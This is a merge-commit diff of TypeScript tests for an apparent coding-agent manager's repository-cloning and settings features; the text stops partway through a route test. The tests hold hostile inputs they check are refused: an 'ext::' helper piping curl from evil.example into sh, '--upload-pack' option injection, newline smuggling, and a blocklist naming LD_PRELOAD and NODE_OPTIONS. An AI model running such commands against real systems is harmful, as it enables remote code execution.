Merge remote-tracking branch 'origin/master' into feat/readmymind-phase2

# Conflicts:
#	CLAUDE.md
This commit is contained in:
Codeman maintainer
2026-08-10 00:45:59 +02:00
16 changed files with 2559 additions and 39 deletions
+79
View File
@@ -0,0 +1,79 @@
/**
* @fileoverview envOverrides allowlist: exact-key entries alongside the prefixes.
*
* CLAUDE_CONFIG_DIR (#255) relocates the Claude CLI's user config (credentials,
* settings, stats) so a case can run on a separate Claude subscription. It starts
* with `CLAUDE_`, not `CLAUDE_CODE_`, so the prefix allowlist alone rejects it;
* ALLOWED_ENV_KEYS in schemas.ts admits it as an exact match. These tests pin:
* the exact key is accepted, near-misses stay rejected (no accidental prefix
* widening), blocked keys stay blocked, and the key survives persist filtering
* (losing it on restart would silently move a session back to the default account).
*/
import { describe, it, expect } from 'vitest';
import { CreateSessionSchema } from '../src/web/schemas.js';
import { Session } from '../src/session.js';
describe('envOverrides exact-key allowlist', () => {
it('accepts CLAUDE_CONFIG_DIR', () => {
const parsed = CreateSessionSchema.parse({
workingDir: '/tmp',
mode: 'claude',
envOverrides: { CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme' },
});
expect(parsed.envOverrides).toEqual({ CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme' });
});
it('accepts CLAUDE_CONFIG_DIR alongside prefix-allowlisted keys', () => {
const parsed = CreateSessionSchema.parse({
workingDir: '/tmp',
mode: 'claude',
envOverrides: {
CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1',
},
});
expect(Object.keys(parsed.envOverrides ?? {})).toHaveLength(2);
});
it('rejects other CLAUDE_-prefixed keys (exact match only, no prefix widening)', () => {
expect(() =>
CreateSessionSchema.parse({
workingDir: '/tmp',
envOverrides: { CLAUDE_SOMETHING_ELSE: 'x' },
})
).toThrow();
expect(() =>
CreateSessionSchema.parse({
workingDir: '/tmp',
envOverrides: { CLAUDE_CONFIG_DIR_EXTRA: '/tmp/x' },
})
).toThrow();
});
it('still blocks security-sensitive keys', () => {
for (const key of ['PATH', 'LD_PRELOAD', 'NODE_OPTIONS', 'CODEMAN_MUX_NAME']) {
expect(() =>
CreateSessionSchema.parse({
workingDir: '/tmp',
envOverrides: { [key]: 'x' },
})
).toThrow();
}
});
});
describe('CLAUDE_CONFIG_DIR persistence', () => {
it('survives the state.json persist filter (path, not a secret)', () => {
const session = new Session({
workingDir: '/tmp',
envOverrides: {
CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
OPENCODE_API_KEY: 'secret-must-not-persist',
},
});
expect(session.getEnvOverridesForPersist()).toEqual({
CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
});
});
});
+521
View File
@@ -0,0 +1,521 @@
/**
* @fileoverview Tests for the clone-a-repository-as-a-case core (issue #236).
*
* Two halves, mirroring the module:
*
* 1. The PURE half — URL parsing (where the security decisions live), argv/env
* construction, `ls-remote` parsing and stderr classification. No spawning.
* 2. The IO half — driven against a REAL `git` cloning a REAL local bare repo, so
* the argv, the failure classification and the cleanup-on-failure path are all
* proven against git's actual behavior rather than a mock's idea of it. These
* skip themselves when git is unavailable (never silently pass: the pure
* assertions above still run).
*
* Port: N/A (no server).
*/
import { describe, it, expect, beforeAll, afterAll, vi } from 'vitest';
import { execFileSync } from 'node:child_process';
import { existsSync, mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
buildCloneArgs,
buildLsRemoteArgs,
classifyGitFailure,
cloneRepository,
getActiveGitOperationCount,
gitNonInteractiveEnv,
isGitAvailable,
isSafeGitRef,
parseGitRepositoryUrl,
parseLsRemoteOutput,
probeGitRemote,
sanitizeGitOutput,
suggestCaseNameFromRepo,
} from '../src/git-clone.js';
/** Narrow a parse result to the accepted branch, failing loudly otherwise. */
function accepted(input: string) {
const parsed = parseGitRepositoryUrl(input);
if (!parsed.cloneable) throw new Error(`expected ${input} to be cloneable, got ${parsed.code}: ${parsed.message}`);
return parsed;
}
/** Narrow a parse result to the rejected branch. */
function rejected(input: string) {
const parsed = parseGitRepositoryUrl(input);
if (parsed.cloneable) throw new Error(`expected ${input} to be REFUSED, but it parsed as ${parsed.repository}`);
return parsed;
}
describe('parseGitRepositoryUrl', () => {
it('accepts an https GitHub URL and pulls out owner/repo/provider', () => {
const parsed = accepted('https://github.com/Ark0N/Codeman.git');
expect(parsed.transport).toBe('https');
expect(parsed.host).toBe('github.com');
expect(parsed.owner).toBe('Ark0N');
expect(parsed.repo).toBe('Codeman');
expect(parsed.provider).toBe('GitHub');
expect(parsed.suggestedName).toBe('Codeman');
expect(parsed.warnings).toEqual([]);
});
it('accepts nested owner paths and a missing .git suffix', () => {
const parsed = accepted('https://gitlab.com/group/subgroup/project');
expect(parsed.owner).toBe('group/subgroup');
expect(parsed.repo).toBe('project');
expect(parsed.provider).toBe('GitLab');
});
it('accepts the scp-like SSH form', () => {
const parsed = accepted('git@github.com:owner/repo.git');
expect(parsed.transport).toBe('ssh');
expect(parsed.host).toBe('github.com');
expect(parsed.owner).toBe('owner');
expect(parsed.repo).toBe('repo');
// The advisory exists because an unconfigured key fails rather than prompts.
expect(parsed.warnings.join(' ')).toMatch(/ssh keys/i);
});
it('accepts ssh:// with a port', () => {
const parsed = accepted('ssh://git@git.example.com:2222/owner/repo.git');
expect(parsed.transport).toBe('ssh');
expect(parsed.host).toBe('git.example.com:2222');
expect(parsed.repo).toBe('repo');
});
it('warns but accepts plain http and git://', () => {
expect(accepted('http://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unencrypted/i);
expect(accepted('git://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unauthenticated/i);
});
it('accepts an absolute local path and file:// as a local clone', () => {
expect(accepted('/srv/repos/thing.git').transport).toBe('local');
expect(accepted('/srv/repos/thing.git').repo).toBe('thing');
expect(accepted('file:///srv/repos/thing').transport).toBe('local');
});
// ── The refusals that matter ──────────────────────────────────────────────
it('REFUSES ext:: and every other transport helper (arbitrary command execution)', () => {
expect(rejected('ext::sh -c "curl evil.example | sh"').code).toBe('TRANSPORT_HELPER');
expect(rejected('fd::7').code).toBe('TRANSPORT_HELPER');
// Not just the known-bad names: ANY `<helper>::` dispatches to git-remote-<helper>.
expect(rejected('weird::payload').code).toBe('TRANSPORT_HELPER');
});
it('REFUSES an option-shaped operand', () => {
expect(rejected('--upload-pack=touch /tmp/pwned').code).toBe('OPTION_LIKE');
expect(rejected('-u whatever').code).toBe('OPTION_LIKE');
});
it('REFUSES a URL carrying a password', () => {
expect(rejected('https://user:token@github.com/owner/repo.git').code).toBe('CREDENTIALS_IN_URL');
});
it('REFUSES unsupported schemes', () => {
expect(rejected('ftp://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
expect(rejected('javascript://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
});
it('REFUSES control characters and over-long input', () => {
expect(rejected('https://example.com/repo\n--upload-pack=x').code).toBe('CONTROL_CHARS');
expect(rejected(`https://example.com/${'a'.repeat(2100)}`).code).toBe('TOO_LONG');
});
it('REFUSES relative and ~ paths, and empty input', () => {
expect(rejected('./repo').code).toBe('BAD_SYNTAX');
expect(rejected('~/repo').code).toBe('BAD_SYNTAX');
expect(rejected(' ').code).toBe('EMPTY');
expect(rejected('not a url at all').code).toBe('BAD_SYNTAX');
});
it('REFUSES a URL with no repository name', () => {
expect(rejected('https://github.com/').code).toBe('NO_REPOSITORY_NAME');
});
it('REFUSES a malformed percent-escape as BAD_SYNTAX instead of throwing', () => {
// `new URL` tolerates "%zz" in a path; decodeURIComponent throws on it,
// and uncaught that URIError surfaced as a 500 from the route.
expect(rejected('https://github.com/%zz/repo.git').code).toBe('BAD_SYNTAX');
expect(rejected('https://github.com/owner/repo%').code).toBe('BAD_SYNTAX');
});
});
describe('suggestCaseNameFromRepo', () => {
it('produces names the case-name validator accepts', () => {
expect(suggestCaseNameFromRepo('My.Repo.git')).toBe('My-Repo');
expect(suggestCaseNameFromRepo('repo with spaces')).toBe('repo-with-spaces');
expect(suggestCaseNameFromRepo('--weird--')).toBe('weird');
for (const input of ['My.Repo.git', 'repo with spaces', 'a/b', 'ünïcodé']) {
const suggested = suggestCaseNameFromRepo(input);
if (suggested) expect(suggested).toMatch(/^[a-zA-Z0-9_-]+$/);
}
});
it('returns empty rather than inventing a name when nothing survives', () => {
expect(suggestCaseNameFromRepo('...')).toBe('');
expect(suggestCaseNameFromRepo('')).toBe('');
});
});
describe('isSafeGitRef', () => {
it('accepts real branch and tag names', () => {
for (const ref of ['main', 'v1.2.3', 'release/2026-08', 'feat_x', 'v1.0.0+build.5']) {
expect(isSafeGitRef(ref)).toBe(true);
}
});
it('rejects flags, traversal and revision syntax', () => {
for (const ref of ['-x', '--upload-pack=x', 'a..b', 'HEAD@{1}', 'x.lock', 'has space', 'trailing/', '']) {
expect(isSafeGitRef(ref)).toBe(false);
}
});
});
describe('buildCloneArgs / buildLsRemoteArgs', () => {
it('always separates operands with --', () => {
const args = buildCloneArgs({ repository: 'https://example.com/r.git', destination: '/cases/r' });
expect(args).toEqual(['clone', '--', 'https://example.com/r.git', '/cases/r']);
// The operands must sit AFTER the separator, always.
expect(args.indexOf('--')).toBeLessThan(args.indexOf('https://example.com/r.git'));
expect(buildLsRemoteArgs('https://example.com/r.git')).toEqual([
'ls-remote',
'--symref',
'--',
'https://example.com/r.git',
]);
});
it('maps ref to --branch --single-branch and shallow to --depth 1', () => {
expect(buildCloneArgs({ repository: 'r', destination: 'd', ref: 'v1', shallow: true })).toEqual([
'clone',
'--single-branch',
'--branch',
'v1',
'--depth',
'1',
'--',
'r',
'd',
]);
});
});
describe('gitNonInteractiveEnv', () => {
it('closes every interactive path that could hang an open request', () => {
const env = gitNonInteractiveEnv({ PATH: '/usr/bin', HOME: '/home/x' });
expect(env.GIT_TERMINAL_PROMPT).toBe('0');
expect(env.GIT_ASKPASS).toBe('');
expect(env.SSH_ASKPASS_REQUIRE).toBe('never');
expect(env.DISPLAY).toBe('');
expect(env.GCM_INTERACTIVE).toBe('never');
expect(env.GIT_SSH_COMMAND).toContain('BatchMode=yes');
// HOME/PATH are inherited on purpose: a working ssh agent keeps working.
expect(env.HOME).toBe('/home/x');
expect(env.PATH).toBe('/usr/bin');
});
it("does not override a user's own GIT_SSH_COMMAND", () => {
expect(gitNonInteractiveEnv({ GIT_SSH_COMMAND: 'ssh -F /custom' }).GIT_SSH_COMMAND).toBe('ssh -F /custom');
});
});
describe('parseLsRemoteOutput', () => {
it('extracts the default branch, branches and tags, dropping peeled tags', () => {
const parsed = parseLsRemoteOutput(
[
'ref: refs/heads/master\tHEAD',
'b1614e89fcfad61f23052879544b60560a7499cf\tHEAD',
'b1614e89fcfad61f23052879544b60560a7499cf\trefs/heads/master',
'498e0545de2edd7a7b412861060580da03fad881\trefs/heads/feat/x',
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0',
'7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0^{}',
'085f4acb606afa75d311dcabfb397d802ed147b4\trefs/pull/1/head',
'',
].join('\n')
);
expect(parsed.defaultBranch).toBe('master');
expect(parsed.branches).toEqual(['master', 'feat/x']);
expect(parsed.tags).toEqual(['v1.0.0']);
expect(parsed.truncated).toBe(false);
});
it('survives a remote with no HEAD symref', () => {
const parsed = parseLsRemoteOutput('0ae798f372995b5108796f089d0dcc25df6d40ba\trefs/heads/main');
expect(parsed.defaultBranch).toBeUndefined();
expect(parsed.branches).toEqual(['main']);
});
});
describe('classifyGitFailure', () => {
it('reports a missing git binary', () => {
expect(classifyGitFailure('', false, 'Error: spawn git ENOENT').code).toBe('GIT_MISSING');
});
it('reports a timeout before looking at stderr', () => {
expect(classifyGitFailure('fatal: repository not found', true).code).toBe('TIMEOUT');
});
it('recognizes the authentication wall in its several dialects', () => {
for (const stderr of [
"fatal: could not read Username for 'https://github.com': terminal prompts disabled",
'remote: Invalid username or password.',
'git@github.com: Permission denied (publickey).',
]) {
expect(classifyGitFailure(stderr, false).code).toBe('AUTH_REQUIRED');
}
});
it('says "not found OR private" rather than just "not found"', () => {
const failure = classifyGitFailure("remote: Repository not found.\nfatal: repository 'x' not found", false);
expect(failure.code).toBe('NOT_FOUND');
expect(failure.message).toMatch(/private/i);
});
it('recognizes a missing ref and an unreachable host', () => {
expect(classifyGitFailure('fatal: Remote branch nope not found in upstream origin', false).code).toBe(
'REF_NOT_FOUND'
);
expect(classifyGitFailure('fatal: unable to access: Could not resolve host: nope.invalid', false).code).toBe(
'HOST_UNREACHABLE'
);
});
});
describe('sanitizeGitOutput', () => {
it('redacts credentials a helper may have echoed back', () => {
expect(sanitizeGitOutput("fatal: unable to access 'https://bob:ghp_secret@github.com/x.git/'")).toBe(
"fatal: unable to access 'https://***:***@github.com/x.git/'"
);
});
it('strips control bytes and keeps the TAIL when over budget', () => {
expect(sanitizeGitOutput('abc')).toBe('ab[31mc');
const long = sanitizeGitOutput(`${'x'.repeat(50)}THE-END`, 10);
expect(long.startsWith('…')).toBe(true);
expect(long.endsWith('THE-END')).toBe(true);
});
});
// ─── Real git, real local repository ─────────────────────────────────────────
const gitPresent = isGitAvailable();
describe.skipIf(!gitPresent)('cloneRepository / probeGitRemote (real git)', () => {
let root: string;
let origin: string;
const git = (args: string[], cwd: string) =>
execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
beforeAll(() => {
root = mkdtempSync(join(tmpdir(), 'codeman-clone-test-'));
origin = join(root, 'origin.git');
mkdirSync(origin);
git(['init', '--bare', '--quiet'], origin);
const work = join(root, 'work');
mkdirSync(work);
git(['init', '--quiet'], work);
git(['config', 'user.email', 'test@example.com'], work);
git(['config', 'user.name', 'Codeman Test'], work);
writeFileSync(join(work, 'README.md'), '# fixture\n');
git(['add', 'README.md'], work);
git(['commit', '--quiet', '-m', 'initial'], work);
git(['branch', '-M', 'main'], work);
git(['tag', 'v1'], work);
git(['checkout', '--quiet', '-b', 'side'], work);
writeFileSync(join(work, 'SIDE.md'), 'side\n');
git(['add', 'SIDE.md'], work);
git(['commit', '--quiet', '-m', 'side'], work);
git(['checkout', '--quiet', 'main'], work);
git(['remote', 'add', 'origin', origin], work);
git(['push', '--quiet', 'origin', 'main', 'side', '--tags'], work);
// Give the bare repo a HEAD that resolves, so --symref has something to say.
git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
});
afterAll(() => {
rmSync(root, { recursive: true, force: true });
});
it('probes a reachable remote for its default branch, branches and tags', async () => {
const probe = await probeGitRemote(origin);
expect(probe.reachable).toBe(true);
expect(probe.defaultBranch).toBe('main');
expect(probe.branches.sort()).toEqual(['main', 'side']);
expect(probe.tags).toEqual(['v1']);
});
it('reports an unreachable remote as a normal answer, not a throw', async () => {
const probe = await probeGitRemote(join(root, 'does-not-exist.git'));
expect(probe.reachable).toBe(false);
expect(probe.failure?.code).toBe('NOT_FOUND');
expect(probe.branches).toEqual([]);
});
it('clones into a fresh destination', async () => {
const dest = join(root, 'clone-plain');
const result = await cloneRepository({ repository: origin, destination: dest });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'README.md'))).toBe(true);
expect(existsSync(join(dest, '.git'))).toBe(true);
});
it('clones a single branch when a ref is given', async () => {
const dest = join(root, 'clone-side');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'side' });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'SIDE.md'))).toBe(true);
});
it('clones a tag, shallow', async () => {
const dest = join(root, 'clone-tag');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'v1', shallow: true });
expect(result.ok).toBe(true);
expect(existsSync(join(dest, 'README.md'))).toBe(true);
expect(existsSync(join(dest, 'SIDE.md'))).toBe(false);
});
it('removes the destination it created when the clone fails', async () => {
const dest = join(root, 'clone-bad-ref');
const result = await cloneRepository({ repository: origin, destination: dest, ref: 'no-such-branch' });
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('REF_NOT_FOUND');
// The half-written tree must not survive as a phantom case directory,
// and neither may the attempt-owned temp directory it cloned into.
expect(existsSync(dest)).toBe(false);
expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
});
it('lets two concurrent clones of the SAME destination race safely', async () => {
// Both used to pass the existence check; the loser's cleanup then DELETED
// the winner's finished tree. Now each attempt clones into its own temp
// sibling and an atomic rename decides the winner.
const dest = join(root, 'clone-race');
const results = await Promise.all([
cloneRepository({ repository: origin, destination: dest }),
cloneRepository({ repository: origin, destination: dest }),
]);
expect(results.filter((r) => r.ok)).toHaveLength(1);
const loser = results.find((r) => !r.ok);
if (loser && !loser.ok) expect(loser.failure.code).toBe('DESTINATION_EXISTS');
// The winner's tree survives the loser's cleanup intact...
expect(existsSync(join(dest, 'README.md'))).toBe(true);
expect(existsSync(join(dest, '.git'))).toBe(true);
// ...and neither attempt leaves its temp directory behind.
expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
});
it('refuses a destination that already exists instead of cloning into it', async () => {
const dest = join(root, 'occupied');
mkdirSync(dest);
writeFileSync(join(dest, 'keep.txt'), 'precious\n');
const result = await cloneRepository({ repository: origin, destination: dest });
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('DESTINATION_EXISTS');
// And the pre-existing directory is left completely alone.
expect(existsSync(join(dest, 'keep.txt'))).toBe(true);
});
it('rejects an unsafe ref without spawning git', async () => {
const result = await cloneRepository({
repository: origin,
destination: join(root, 'never'),
ref: '--upload-pack=x',
});
expect(result.ok).toBe(false);
expect(existsSync(join(root, 'never'))).toBe(false);
});
it('releases every concurrency slot it took', async () => {
await Promise.all([probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin)]);
// A leaked slot would eventually wedge every future clone behind a full pool.
expect(getActiveGitOperationCount()).toBe(0);
});
it('times out instead of hanging forever', async () => {
// 1ms budget: git cannot finish, so the SIGTERM/SIGKILL escalation is what ends it.
const result = await cloneRepository({
repository: origin,
destination: join(root, 'clone-timeout'),
timeoutMs: 1,
});
expect(result.ok).toBe(false);
if (!result.ok) expect(result.failure.code).toBe('TIMEOUT');
expect(existsSync(join(root, 'clone-timeout'))).toBe(false);
expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
});
});
// ─── Pool bounds, driven with a fake `git` that sleeps ──────────────────────
//
// A fresh module instance (vi.resetModules + dynamic import) picks up the
// 1-slot/1-waiter env config, and a PATH-shimmed `git` that answers --version
// then sleeps lets one operation HOLD the slot deterministically with no
// network. Placed after the real-git suite so the PATH shim never leaks into it.
describe('git pool queue bounds (fake git)', () => {
let fakeDir: string;
let savedPath: string | undefined;
let mod: typeof import('../src/git-clone.js');
beforeAll(async () => {
fakeDir = mkdtempSync(join(tmpdir(), 'codeman-fake-git-'));
writeFileSync(
join(fakeDir, 'git'),
'#!/bin/sh\nif [ "$1" = "--version" ]; then echo "git version 2.43.0"; exit 0; fi\nsleep 30\n',
{ mode: 0o755 }
);
savedPath = process.env.PATH;
process.env.PATH = `${fakeDir}:${savedPath}`;
process.env.CODEMAN_MAX_GIT_OPERATIONS = '1';
process.env.CODEMAN_MAX_GIT_QUEUE = '1';
vi.resetModules();
mod = await import('../src/git-clone.js');
});
afterAll(() => {
process.env.PATH = savedPath;
delete process.env.CODEMAN_MAX_GIT_OPERATIONS;
delete process.env.CODEMAN_MAX_GIT_QUEUE;
rmSync(fakeDir, { recursive: true, force: true });
vi.resetModules();
});
it('bounds the queue with BUSY and counts queue time against the deadline', async () => {
// Occupies the single slot: the fake git sleeps far past its 3s budget.
const holder = mod.probeGitRemote('https://pool.invalid/repo.git', 3_000);
await new Promise((r) => setTimeout(r, 100));
// Fills the single queue seat; its 300ms deadline must elapse IN the queue.
const queued = mod.probeGitRemote('https://pool.invalid/repo.git', 300);
await new Promise((r) => setTimeout(r, 50));
// Queue full: answered BUSY immediately, without waiting out its own 5s budget.
const before = Date.now();
const overflow = await mod.probeGitRemote('https://pool.invalid/repo.git', 5_000);
expect(Date.now() - before).toBeLessThan(1_000);
expect(overflow.reachable).toBe(false);
expect(overflow.failure?.code).toBe('BUSY');
// The queued waiter timed out WITHOUT ever spawning git (slot never freed).
const queuedResult = await queued;
expect(queuedResult.reachable).toBe(false);
expect(queuedResult.failure?.code).toBe('TIMEOUT');
// The slot holder is killed by its own deadline, and nothing leaks.
const holderResult = await holder;
expect(holderResult.failure?.code).toBe('TIMEOUT');
expect(mod.getActiveGitOperationCount()).toBe(0);
expect(mod.getQueuedGitOperationCount()).toBe(0);
});
});
describe('isGitAvailable', () => {
it('answers consistently (memoized)', () => {
expect(isGitAvailable()).toBe(gitPresent);
expect(isGitAvailable()).toBe(gitPresent);
});
});
+62 -1
View File
@@ -6,16 +6,21 @@
*/
import { describe, it, expect, beforeAll, beforeEach, afterAll, afterEach } from 'vitest';
import { closeSync, existsSync, openSync, readFileSync, writeFileSync, mkdirSync, rmSync } from 'node:fs';
import { closeSync, existsSync, openSync, readFileSync, writeFileSync, mkdirSync, rmSync, symlinkSync } from 'node:fs';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { spawn } from 'node:child_process';
import {
applyStatusLineConfig,
ensureCodemanHooks,
generateBackgroundWakeScript,
generateHooksConfig,
generateSubagentStopGuardScript,
refreshStaleCodemanHooks,
settingsWriteBlocker,
stripCaseEnvKeys,
updateCaseEnvVars,
updateCaseModel,
writeHooksConfig,
} from '../src/hooks-config.js';
@@ -198,6 +203,62 @@ describe('writeHooksConfig', () => {
expect(parsed.hooks.Stop).toHaveLength(1);
});
it('refuses to write through a symlinked .claude directory (#251 review)', async () => {
// Case contents can be foreign (a freshly cloned repository): a symlinked
// .claude would redirect the scaffold write outside the case.
const outside = join(testDir, 'outside-target');
mkdirSync(outside);
const caseDir = join(testDir, 'case');
mkdirSync(caseDir);
symlinkSync(outside, join(caseDir, '.claude'));
expect(await settingsWriteBlocker(caseDir)).toMatch(/symlink/);
await writeHooksConfig(caseDir);
expect(existsSync(join(outside, 'settings.local.json'))).toBe(false);
});
it('refuses to write through a symlinked settings.local.json (#251 review)', async () => {
const outsideFile = join(testDir, 'victim-settings.json');
writeFileSync(outsideFile, '{"model":"precious"}\n');
const caseDir = join(testDir, 'case2');
mkdirSync(join(caseDir, '.claude'), { recursive: true });
symlinkSync(outsideFile, join(caseDir, '.claude', 'settings.local.json'));
expect(await settingsWriteBlocker(caseDir)).toMatch(/symlink/);
await writeHooksConfig(caseDir);
// The link target is untouched: no hooks were merged into it.
expect(readFileSync(outsideFile, 'utf-8')).toBe('{"model":"precious"}\n');
});
it('reports a real, confined .claude as safe', async () => {
const caseDir = join(testDir, 'case3');
mkdirSync(join(caseDir, '.claude'), { recursive: true });
expect(await settingsWriteBlocker(caseDir)).toBeNull();
});
it('EVERY settings writer refuses a symlinked settings.local.json (#251 review round 2)', async () => {
// Round 1 guarded only writeHooksConfig/updateCaseModel; the reviewer
// demonstrated applyStatusLineConfig writing through the link. All
// writers now share one safe-write gate, so pin all of them at once.
const outsideFile = join(testDir, 'victim-all-writers.json');
const precious =
'{"env":{"CLAUDE_CODE_KEEP":"me"},"hooks":{"Stop":[{"hooks":[{"command":"curl /api/hook-event"}]}]}}\n';
writeFileSync(outsideFile, precious);
const caseDir = join(testDir, 'case-writers');
mkdirSync(join(caseDir, '.claude'), { recursive: true });
symlinkSync(outsideFile, join(caseDir, '.claude', 'settings.local.json'));
await writeHooksConfig(caseDir);
await ensureCodemanHooks(caseDir);
await refreshStaleCodemanHooks(caseDir);
await updateCaseModel(caseDir, 'opus');
await updateCaseEnvVars(caseDir, { CLAUDE_CODE_NEW: 'value' });
await stripCaseEnvKeys(caseDir, ['CLAUDE_CODE_KEEP']);
await applyStatusLineConfig(caseDir, true);
await applyStatusLineConfig(caseDir, false);
// The link target is byte-identical: none of the writers went through it.
expect(readFileSync(outsideFile, 'utf-8')).toBe(precious);
});
it('should merge with existing settings.local.json', async () => {
const claudeDir = join(testDir, '.claude');
mkdirSync(claudeDir, { recursive: true });
+8
View File
@@ -18,6 +18,7 @@ import { isCodexAvailable } from '../src/utils/codex-cli-resolver.js';
import { isGeminiAvailable } from '../src/utils/gemini-cli-resolver.js';
import { isAntigravityAvailable } from '../src/utils/antigravity-cli-resolver.js';
import { isCloudflaredAvailable } from '../src/utils/cloudflared-resolver.js';
import { isGitAvailable } from '../src/git-clone.js';
// renderIndexHtml probes the real PATH for every CLI, which would make the
// assertions below depend on whatever happens to be installed on the machine
@@ -46,6 +47,10 @@ vi.mock('../src/utils/cloudflared-resolver.js', () => ({
isCloudflaredAvailable: vi.fn(() => false),
resolveCloudflaredPath: vi.fn(() => null),
}));
// git gates the Add Case -> Clone Repo tab (#236), so it rides in the same object.
vi.mock('../src/git-clone.js', () => ({
isGitAvailable: vi.fn(() => false),
}));
const TEMPLATE = [
'<head>',
@@ -127,6 +132,7 @@ describe('WebServer.renderIndexHtml', () => {
vi.mocked(isGeminiAvailable).mockReturnValue(false);
vi.mocked(isAntigravityAvailable).mockReturnValue(false);
vi.mocked(isCloudflaredAvailable).mockReturnValue(true);
vi.mocked(isGitAvailable).mockReturnValue(true);
const { server } = makeServer({});
const html = await render(server);
const flags = JSON.parse(html.match(/window\.__codemanCliAvailable=(\{.*?\});/)![1]);
@@ -139,6 +145,7 @@ describe('WebServer.renderIndexHtml', () => {
gemini: false,
antigravity: false,
cloudflared: true,
git: true,
});
});
@@ -152,6 +159,7 @@ describe('WebServer.renderIndexHtml', () => {
isGeminiAvailable,
isAntigravityAvailable,
isCloudflaredAvailable,
isGitAvailable,
]) {
vi.mocked(probe).mockReturnValue(false);
}
+317
View File
@@ -0,0 +1,317 @@
/**
* @fileoverview End-to-end tests for POST /api/cases/clone and
* /api/cases/clone-preflight (issue #236).
*
* Deliberately runs against a REAL filesystem and a REAL `git` cloning a REAL
* local bare repo, unlike its sibling `case-routes.test.ts` which mocks `node:fs`
* wholesale. Mocking here would only prove the handler calls functions in the
* order the test expects; what actually needs proving is that a clone lands a
* working tree in the case directory, that scaffolding does not overwrite the
* repository's own files, and that a rejected URL never reaches git.
*
* `test/setup.ts` points HOME at a per-file temp dir, so CASES_DIR resolves
* inside the fixture and nothing touches the developer's real ~/codeman-cases.
*
* Port: N/A (app.inject).
*/
import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach } from 'vitest';
import Fastify, { type FastifyInstance } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import { execFileSync } from 'node:child_process';
import {
existsSync,
lstatSync,
mkdirSync,
mkdtempSync,
readFileSync,
rmSync,
symlinkSync,
writeFileSync,
} from 'node:fs';
import { homedir, tmpdir } from 'node:os';
import { join } from 'node:path';
import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
import { registerCaseRoutes } from '../../src/web/routes/case-routes.js';
import { isGitAvailable } from '../../src/git-clone.js';
const CASES_DIR = join(homedir(), 'codeman-cases');
const gitPresent = isGitAvailable();
let app: FastifyInstance;
let ctx: MockRouteContext;
async function buildApp(): Promise<void> {
app = Fastify({ logger: false });
await app.register(fastifyCookie);
// Mirror the production preSerialization envelope hook so error codes map to
// their conventional HTTP status (copied from server.ts, as in case-routes.test.ts).
app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
if (!req.url.startsWith('/api')) return done(null, payload);
if (payload === null || typeof payload !== 'object') return done(null, payload);
const p = payload as { success?: unknown; errorCode?: unknown };
if (p.success === false) {
if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
}
return done(null, payload);
}
if (p.success === true) return done(null, payload);
return done(null, { success: true, data: payload });
});
ctx = createMockRouteContext();
registerCaseRoutes(app, ctx as never);
installRouteErrorHandler(app);
await app.ready();
}
const clone = (payload: Record<string, unknown>) => app.inject({ method: 'POST', url: '/api/cases/clone', payload });
const preflight = (repository: unknown) =>
app.inject({ method: 'POST', url: '/api/cases/clone-preflight', payload: { repository } });
describe('POST /api/cases/clone-preflight', () => {
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('answers 200 with the rejection reason for an ext:: URL (never probes it)', async () => {
const res = await preflight('ext::sh -c "id > /tmp/pwned"');
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
expect(body.data.parse.cloneable).toBe(false);
expect(body.data.parse.code).toBe('TRANSPORT_HELPER');
expect(body.data.remote).toBeUndefined();
});
it('returns the parsed owner/repo and a case-name suggestion for a valid URL', async () => {
const res = await preflight('https://github.com/owner/My.Repo.git');
const body = JSON.parse(res.body);
expect(body.data.parse.cloneable).toBe(true);
expect(body.data.parse.owner).toBe('owner');
expect(body.data.parse.repo).toBe('My.Repo');
expect(body.data.parse.suggestedName).toBe('My-Repo');
});
it('validates the body', async () => {
expect((await preflight('')).statusCode).toBe(400);
expect((await preflight(undefined)).statusCode).toBe(400);
});
});
describe('POST /api/cases/clone — input rejection', () => {
beforeEach(buildApp);
afterEach(async () => {
await app.close();
});
it('refuses a transport helper before touching git', async () => {
const res = await clone({ name: 'pwned', repository: 'ext::sh -c "touch /tmp/codeman-pwned"' });
expect(res.statusCode).toBe(400);
const body = JSON.parse(res.body);
expect(body.errorCode).toBe(ApiErrorCode.INVALID_INPUT);
expect(body.error).toMatch(/ext::/);
expect(existsSync(join(CASES_DIR, 'pwned'))).toBe(false);
});
it('refuses an option-shaped repository', async () => {
